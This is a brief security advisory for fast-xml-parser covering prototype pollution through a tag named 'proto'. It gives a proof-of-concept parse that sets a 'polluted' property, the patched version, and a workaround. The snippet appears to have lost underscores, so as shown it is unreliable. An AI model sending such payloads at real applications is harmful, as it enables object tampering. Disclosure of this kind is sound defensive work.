Impact As a part of this vulnerability, user was able to se code using proto as a tag or attribute name.

js const { XMLParser, XMLBuilder, XMLValidator} = require("fast-xml-parser");

let XMLdata = "<proto><polluted>hacked</polluted></proto>"

const parser = new XMLParser(); let jObj = parser.parse(XMLdata);

console.log(jObj.polluted) // should return hacked

Patches The problem has been patched in v4.1.2

Workarounds User can check for "proto" in the XML string before parsing it to the parser.

References https://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7